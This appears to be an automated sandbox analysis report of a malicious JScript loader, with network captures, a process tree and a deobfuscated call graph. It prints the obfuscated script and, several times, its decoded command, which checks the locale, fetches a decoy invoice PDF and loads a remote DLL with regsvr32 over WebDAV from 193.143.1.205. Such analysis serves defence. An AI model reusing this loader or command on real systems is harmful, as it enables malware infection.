Jan 10, 2025 21:33:58.967343092 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:33:58.967355013 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:33:58.967377901 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:33:58.967390060 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:33:58.967402935 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 21:33:58.967413902 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 21:33:58.967427969 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 21:33:58.967442036 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 21:33:58.972359896 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2300	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:34:01.095762968 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:34:01.895737886 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:34:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js"
Imagebase:	0x7ff799830000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll
Imagebase:	0x7ff7dbd70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:34:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:34:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dbd70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:34:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ad0e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:34:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:34:00
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:34:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1644,i,13701660431010599657,6285009290053691547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ywocznvr() {	ywocznvr() ➔ undefined
1	tbijkvu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var adhvri = this[anibp + xipjvkz + fxszuylh + jhrlf + xsfctlsv + oodvzlgmz + mfisyt + bnncoxxpb] ( this[rdikml + mdgenyu + ssvcsn + fxszuylh + aijvonneu + anibp + bnncoxxpb][nolvj + fxszuylh + xsfctlsv + xipjvkz + bnncoxxpb + xsfctlsv + zfbnpxvcf + srlama + pxipejmh + xsfctlsv + ssvcsn + bnncoxxpb] ( rdikml + mdgenyu + ssvcsn + fxszuylh + aijvonneu + anibp + bnncoxxpb + ezobuab + mdgenyu + iutjgok + xsfctlsv + zbrqosyn + zbrqosyn ) [kynkkejme + xsfctlsv + uwxcsjaw + kynkkejme + xsfctlsv + xipjvkz + gnppz] ( bzphw + fimwc + xkpltcem + elvoqyq + hziwknkad + nolvj + usxls + kynkkejme + kynkkejme + xkpltcem + xfxawnufp + qsavgpd + hziwknkad + usxls + mdgenyu + xkpltcem + kynkkejme + dwnssllf + nolvj + mmfcp + mfisyt + bnncoxxpb + fxszuylh + mmfcp + zbrqosyn + uhlxe + jzxpic + xipjvkz + mfisyt + xsfctlsv + zbrqosyn + dwnssllf + oodvzlgmz + mfisyt + bnncoxxpb + xsfctlsv + fxszuylh + mfisyt + xipjvkz + bnncoxxpb + aijvonneu + mmfcp + mfisyt + xipjvkz + zbrqosyn + dwnssllf + suhfi + mmfcp + ssvcsn + xipjvkz + zbrqosyn + xsfctlsv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dfijmfv = 0 ; dfijmfv < tbijkvu[zbrqosyn + xsfctlsv + mfisyt + uwxcsjaw + bnncoxxpb + iutjgok] ; ++ dfijmfv )
4	{
5	if ( adhvri == tbijkvu[dfijmfv] )
6	{
7	adhvri = true;
8	break ;
9	}
10	}
11	if ( adhvri !== true )
12	this[rdikml + mdgenyu + ssvcsn + fxszuylh + aijvonneu + anibp + bnncoxxpb][thqazgw + igvlgerob + aijvonneu + bnncoxxpb] ( );
13	this[rdikml + mdgenyu + ssvcsn + fxszuylh + aijvonneu + anibp + bnncoxxpb][nolvj + fxszuylh + xsfctlsv + xipjvkz + bnncoxxpb + xsfctlsv + zfbnpxvcf + srlama + pxipejmh + xsfctlsv + ssvcsn + bnncoxxpb] ( rdikml + mdgenyu + ssvcsn + fxszuylh + aijvonneu + anibp + bnncoxxpb + ezobuab + mdgenyu + iutjgok + xsfctlsv + zbrqosyn + zbrqosyn ) [fxszuylh + igvlgerob + mfisyt] ( ssvcsn + tybjniwq + gnppz + uhlxe + pcllhk + ssvcsn + uhlxe + anibp + mmfcp + zfuulzbk + xsfctlsv + fxszuylh + jhrlf + iutjgok + xsfctlsv + zbrqosyn + zbrqosyn + ezobuab + xsfctlsv + fivvx + xsfctlsv + uhlxe + rmhykejsl + nolvj + mmfcp + tybjniwq + tybjniwq + xipjvkz + mfisyt + gnppz + uhlxe + hihmb + oodvzlgmz + mfisyt + vjemb + mmfcp + jxqnvia + xsfctlsv + rmhykejsl + rdikml + xsfctlsv + srlama + kynkkejme + xsfctlsv + yzewbem + igvlgerob + xsfctlsv + jhrlf + bnncoxxpb + uhlxe + rmhykejsl + zfbnpxvcf + igvlgerob + bnncoxxpb + tmgdoc + aijvonneu + zbrqosyn + xsfctlsv + uhlxe + epkvgsn + bnncoxxpb + xsfctlsv + tybjniwq + anibp + epkvgsn + dwnssllf + aijvonneu + mfisyt + vjemb + mmfcp + aijvonneu + ssvcsn + xsfctlsv + ezobuab + anibp + gnppz + lvszjvhhn + uhlxe + iutjgok + bnncoxxpb + bnncoxxpb + anibp + sqbkpesc + pcllhk + pcllhk + ydwdxyep + aczyauva + vtgcpfc + ezobuab + ydwdxyep + cfkgh + vtgcpfc + ezobuab + ydwdxyep + ezobuab + fsrecx + qmwtqsc + ucrbeib + pcllhk + aijvonneu + mfisyt + vjemb + mmfcp + aijvonneu + ssvcsn + xsfctlsv + ezobuab + anibp + iutjgok + anibp + hihmb + wqgtupyzt + wqgtupyzt + jhrlf + bnncoxxpb + xipjvkz + fxszuylh + bnncoxxpb + uhlxe + epkvgsn + bnncoxxpb + xsfctlsv + tybjniwq + anibp + epkvgsn + dwnssllf + aijvonneu + mfisyt + vjemb + mmfcp + aijvonneu + ssvcsn + xsfctlsv + ezobuab + anibp + gnppz + lvszjvhhn + wqgtupyzt + wqgtupyzt + ssvcsn + tybjniwq + gnppz + uhlxe + pcllhk + ssvcsn + uhlxe + mfisyt + xsfctlsv + bnncoxxpb + uhlxe + igvlgerob + jhrlf + xsfctlsv + uhlxe + dwnssllf + dwnssllf + ydwdxyep + aczyauva + vtgcpfc + ezobuab + ydwdxyep + cfkgh + vtgcpfc + ezobuab + ydwdxyep + ezobuab + fsrecx + qmwtqsc + ucrbeib + fycememjg + emnpoqc + emnpoqc + emnpoqc + emnpoqc + dwnssllf + gnppz + xipjvkz + vjemb + zfuulzbk + zfuulzbk + zfuulzbk + fxszuylh + mmfcp + mmfcp + bnncoxxpb + dwnssllf + wqgtupyzt + wqgtupyzt + ssvcsn + tybjniwq + gnppz + uhlxe + pcllhk + ssvcsn + uhlxe + fxszuylh + xsfctlsv + uwxcsjaw + jhrlf + vjemb + fxszuylh + vtgcpfc + fsrecx + uhlxe + pcllhk + jhrlf + uhlxe + dwnssllf + dwnssllf + ydwdxyep + aczyauva + vtgcpfc + ezobuab + ydwdxyep + cfkgh + vtgcpfc + ezobuab + ydwdxyep + ezobuab + fsrecx + qmwtqsc + ucrbeib + fycememjg + emnpoqc + emnpoqc + emnpoqc + emnpoqc + dwnssllf + gnppz + xipjvkz + vjemb + zfuulzbk + zfuulzbk + zfuulzbk + fxszuylh + mmfcp + mmfcp + bnncoxxpb + dwnssllf + airbgfcz + vtgcpfc + aczyauva + ydwdxyep + punuoja + fsrecx + aczyauva + vtgcpfc + ydwdxyep + emnpoqc + aczyauva + vtgcpfc + qmwtqsc + ezobuab + gnppz + zbrqosyn + zbrqosyn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll",0,false) ➔ 0
14	}
15	wqgtupyzt = "A";
16	wqgtupyzt = "o";
17	wqgtupyzt = "y";
18	wqgtupyzt = "F";
19	wqgtupyzt = "L";
20	wqgtupyzt = "m";
21	wqgtupyzt = "y";
22	wqgtupyzt = "j";
23	wqgtupyzt = "S";
24	wqgtupyzt = "Y";
25	wqgtupyzt = "i";
26	wqgtupyzt = "i";
27	wqgtupyzt = "o";
28	wqgtupyzt = "G";
29	wqgtupyzt = "D";
30	wqgtupyzt = "p";
31	wqgtupyzt = "B";
32	wqgtupyzt = "T";
33	wqgtupyzt = "L";
34	wqgtupyzt = "B";
35	wqgtupyzt = "B";
36	wqgtupyzt = "p";
37	wqgtupyzt = "c";
38	wqgtupyzt = "g";
39	wqgtupyzt = "C";
40	wqgtupyzt = "n";
41	wqgtupyzt = "S";
42	wqgtupyzt = "M";
43	wqgtupyzt = "d";
44	wqgtupyzt = "m";
45	wqgtupyzt = "P";
46	wqgtupyzt = "F";
47	wqgtupyzt = "D";
48	wqgtupyzt = "P";
49	wqgtupyzt = "u";
50	wqgtupyzt = "R";
51	wqgtupyzt = "G";
52	wqgtupyzt = "&";
53	pxipejmh = "t";
54	pxipejmh = "j";
55	pxipejmh = "i";
56	pxipejmh = "z";
57	pxipejmh = "X";
58	pxipejmh = "j";
59	pxipejmh = "F";
60	pxipejmh = "c";
61	pxipejmh = "M";
62	pxipejmh = "x";
63	pxipejmh = "U";
64	pxipejmh = "y";
65	pxipejmh = "N";
66	pxipejmh = "Z";
67	pxipejmh = "G";
68	pxipejmh = "h";
69	pxipejmh = "Y";
70	pxipejmh = "P";
71	pxipejmh = "n";
72	pxipejmh = "e";
73	pxipejmh = "m";
74	pxipejmh = "d";
75	pxipejmh = "b";
76	pxipejmh = "i";
77	pxipejmh = "j";
78	kynkkejme = "e";
79	kynkkejme = "L";
80	kynkkejme = "j";
81	kynkkejme = "B";
82	kynkkejme = "n";
83	kynkkejme = "N";
84	kynkkejme = "M";
85	kynkkejme = "X";
86	kynkkejme = "l";
87	kynkkejme = "c";
88	kynkkejme = "d";
89	kynkkejme = "D";
90	kynkkejme = "V";
91	kynkkejme = "h";
92	kynkkejme = "u";
93	kynkkejme = "d";
94	kynkkejme = "i";
95	kynkkejme = "N";
96	kynkkejme = "B";
97	kynkkejme = "y";
98	kynkkejme = "Y";
99	kynkkejme = "S";
100	kynkkejme = "M";
101	kynkkejme = "X";
102	kynkkejme = "W";
103	kynkkejme = "d";
104	kynkkejme = "S";
105	kynkkejme = "f";
106	kynkkejme = "A";
107	kynkkejme = "G";
108	kynkkejme = "f";
109	kynkkejme = "m";
110	kynkkejme = "k";
111	kynkkejme = "h";
112	kynkkejme = "t";
113	kynkkejme = "A";
114	kynkkejme = "j";
115	kynkkejme = "R";
116	emnpoqc = "W";
117	emnpoqc = "b";
118	emnpoqc = "A";
119	emnpoqc = "U";
120	emnpoqc = "U";
121	emnpoqc = "s";
122	emnpoqc = "W";
123	emnpoqc = "i";
124	emnpoqc = "h";
125	emnpoqc = "I";
126	emnpoqc = "d";
127	emnpoqc = "m";
128	emnpoqc = "z";
129	emnpoqc = "l";
130	emnpoqc = "m";
131	emnpoqc = "S";
132	emnpoqc = "j";
133	emnpoqc = "Q";
134	emnpoqc = "d";
135	emnpoqc = "m";
136	emnpoqc = "Q";
137	emnpoqc = "r";
138	emnpoqc = "F";
139	emnpoqc = "H";
140	emnpoqc = "s";
141	emnpoqc = "M";
142	emnpoqc = "j";
143	emnpoqc = "s";
144	emnpoqc = "P";
145	emnpoqc = "k";
146	emnpoqc = "j";
147	emnpoqc = "V";
148	emnpoqc = "X";
149	emnpoqc = "H";
150	emnpoqc = "h";
151	emnpoqc = "D";
152	emnpoqc = "V";
153	emnpoqc = "C";
154	emnpoqc = "k";
155	emnpoqc = "U";
156	emnpoqc = "y";
157	emnpoqc = "z";
158	emnpoqc = "c";
159	emnpoqc = "8";
160	nolvj = "U";
161	nolvj = "i";
162	nolvj = "z";
163	nolvj = "g";
164	nolvj = "s";
165	nolvj = "a";
166	nolvj = "s";
167	nolvj = "Q";
168	nolvj = "x";
169	nolvj = "P";
170	nolvj = "A";
171	nolvj = "n";
172	nolvj = "C";
173	nolvj = "E";
174	nolvj = "n";
175	nolvj = "R";
176	nolvj = "j";
177	nolvj = "Z";
178	nolvj = "Z";
179	nolvj = "f";
180	nolvj = "g";
181	nolvj = "Z";
182	nolvj = "I";
183	nolvj = "S";
184	nolvj = "X";
185	nolvj = "a";
186	nolvj = "g";
187	nolvj = "F";
188	nolvj = "a";
189	nolvj = "H";
190	nolvj = "T";
191	nolvj = "X";
192	nolvj = "J";
193	nolvj = "s";
194	nolvj = "u";
195	nolvj = "K";
196	nolvj = "a";
197	nolvj = "C";
198	fsrecx = "L";
199	fsrecx = "d";
200	fsrecx = "J";
201	fsrecx = "w";
202	fsrecx = "O";
203	fsrecx = "p";
204	fsrecx = "S";
205	fsrecx = "T";
206	fsrecx = "V";
207	fsrecx = "b";
208	fsrecx = "E";
209	fsrecx = "L";
210	fsrecx = "s";
211	fsrecx = "t";
212	fsrecx = "q";
213	fsrecx = "M";
214	fsrecx = "V";
215	fsrecx = "J";
216	fsrecx = "r";
217	fsrecx = "M";
218	fsrecx = "I";
219	fsrecx = "D";
220	fsrecx = "z";
221	fsrecx = "e";
222	fsrecx = "L";
223	fsrecx = "A";
224	fsrecx = "P";
225	fsrecx = "T";
226	fsrecx = "v";
227	fsrecx = "n";
228	fsrecx = "Y";
229	fsrecx = "L";
230	fsrecx = "o";
231	fsrecx = "n";
232	fsrecx = "G";
233	fsrecx = "2";
234	xfxawnufp = "y";
235	xfxawnufp = "K";
236	xfxawnufp = "B";
237	xfxawnufp = "J";
238	xfxawnufp = "Q";
239	xfxawnufp = "F";
240	xfxawnufp = "n";
241	xfxawnufp = "a";
242	xfxawnufp = "u";
243	xfxawnufp = "l";
244	xfxawnufp = "z";
245	xfxawnufp = "i";
246	xfxawnufp = "e";
247	xfxawnufp = "i";
248	xfxawnufp = "C";
249	xfxawnufp = "b";
250	xfxawnufp = "f";
251	xfxawnufp = "E";
252	xfxawnufp = "J";
253	xfxawnufp = "G";
254	xfxawnufp = "o";
255	xfxawnufp = "q";
256	xfxawnufp = "a";
257	xfxawnufp = "Q";
258	xfxawnufp = "t";
259	xfxawnufp = "a";
260	xfxawnufp = "Y";
261	xfxawnufp = "Y";
262	xfxawnufp = "h";
263	xfxawnufp = "j";
264	xfxawnufp = "v";
265	xfxawnufp = "d";
266	xfxawnufp = "j";
267	xfxawnufp = "N";
268	airbgfcz = "D";
269	airbgfcz = "w";
270	airbgfcz = "H";
271	airbgfcz = "X";
272	airbgfcz = "B";
273	airbgfcz = "q";
274	airbgfcz = "G";
275	airbgfcz = "K";
276	airbgfcz = "i";
277	airbgfcz = "I";
278	airbgfcz = "Z";
279	airbgfcz = "E";
280	airbgfcz = "l";
281	airbgfcz = "k";
282	airbgfcz = "t";
283	airbgfcz = "l";
284	airbgfcz = "W";
285	airbgfcz = "V";
286	airbgfcz = "y";
287	airbgfcz = "q";
288	airbgfcz = "h";
289	airbgfcz = "6";
290	srlama = "C";
291	srlama = "K";
292	srlama = "d";
293	srlama = "V";
294	srlama = "A";
295	srlama = "r";
296	srlama = "g";
297	srlama = "q";
298	srlama = "i";
299	srlama = "K";
300	srlama = "i";
301	srlama = "P";
302	srlama = "k";
303	srlama = "B";
304	srlama = "u";
305	srlama = "I";
306	srlama = "U";
307	srlama = "U";
308	srlama = "w";
309	srlama = "x";
310	srlama = "Z";
311	srlama = "Q";
312	srlama = "Z";
313	srlama = "t";
314	srlama = "z";
315	srlama = "l";
316	srlama = "a";
317	srlama = "M";
318	srlama = "o";
319	srlama = "V";
320	srlama = "x";
321	srlama = "n";
322	srlama = "b";
323	sqbkpesc = "u";
324	sqbkpesc = "d";
325	sqbkpesc = "K";
326	sqbkpesc = "Y";
327	sqbkpesc = ":";
328	fivvx = "k";
329	fivvx = "d";
330	fivvx = "Z";
331	fivvx = "k";
332	fivvx = "q";
333	fivvx = "d";
334	fivvx = "n";
335	fivvx = "u";
336	fivvx = "d";
337	fivvx = "E";
338	fivvx = "M";
339	fivvx = "U";
340	fivvx = "u";
341	fivvx = "z";
342	fivvx = "r";
343	fivvx = "R";
344	fivvx = "b";
345	fivvx = "R";
346	fivvx = "U";
347	fivvx = "k";
348	fivvx = "B";
349	fivvx = "w";
350	fivvx = "v";
351	fivvx = "h";
352	fivvx = "T";
353	fivvx = "Z";
354	fivvx = "v";
355	fivvx = "n";
356	fivvx = "W";
357	fivvx = "Y";
358	fivvx = "i";
359	fivvx = "v";
360	fivvx = "h";
361	fivvx = "i";
362	fivvx = "x";
363	thqazgw = "T";
364	thqazgw = "P";
365	thqazgw = "k";
366	thqazgw = "j";
367	thqazgw = "t";
368	thqazgw = "H";
369	thqazgw = "c";
370	thqazgw = "l";
371	thqazgw = "V";
372	thqazgw = "Q";
373	qsavgpd = "I";
374	qsavgpd = "z";
375	qsavgpd = "Q";
376	qsavgpd = "f";
377	qsavgpd = "u";
378	qsavgpd = "t";
379	qsavgpd = "k";
380	qsavgpd = "e";
381	qsavgpd = "Q";
382	qsavgpd = "q";
383	qsavgpd = "P";
384	qsavgpd = "T";
385	ssvcsn = "J";
386	ssvcsn = "N";
387	ssvcsn = "r";
388	ssvcsn = "K";
389	ssvcsn = "F";
390	ssvcsn = "l";
391	ssvcsn = "i";
392	ssvcsn = "O";
393	ssvcsn = "L";
394	ssvcsn = "L";
395	ssvcsn = "S";
396	ssvcsn = "L";
397	ssvcsn = "B";
398	ssvcsn = "c";
399	rdikml = "g";
400	rdikml = "v";
401	rdikml = "v";
402	rdikml = "d";
403	rdikml = "F";
404	rdikml = "b";
405	rdikml = "m";
406	rdikml = "k";
407	rdikml = "E";
408	rdikml = "q";
409	rdikml = "H";
410	rdikml = "Q";
411	rdikml = "S";
412	rdikml = "B";
413	rdikml = "Z";
414	rdikml = "R";
415	rdikml = "w";
416	rdikml = "b";
417	rdikml = "L";
418	rdikml = "G";
419	rdikml = "O";
420	rdikml = "E";
421	rdikml = "r";
422	rdikml = "Z";
423	rdikml = "w";
424	rdikml = "W";
425	rdikml = "T";
426	rdikml = "D";
427	rdikml = "x";
428	rdikml = "e";
429	rdikml = "U";
430	rdikml = "c";
431	rdikml = "W";
432	rdikml = "k";
433	rdikml = "U";
434	rdikml = "W";
435	uwxcsjaw = "s";
436	uwxcsjaw = "s";
437	uwxcsjaw = "a";
438	uwxcsjaw = "P";
439	uwxcsjaw = "Q";
440	uwxcsjaw = "E";
441	uwxcsjaw = "W";
442	uwxcsjaw = "v";
443	uwxcsjaw = "b";
444	uwxcsjaw = "Q";
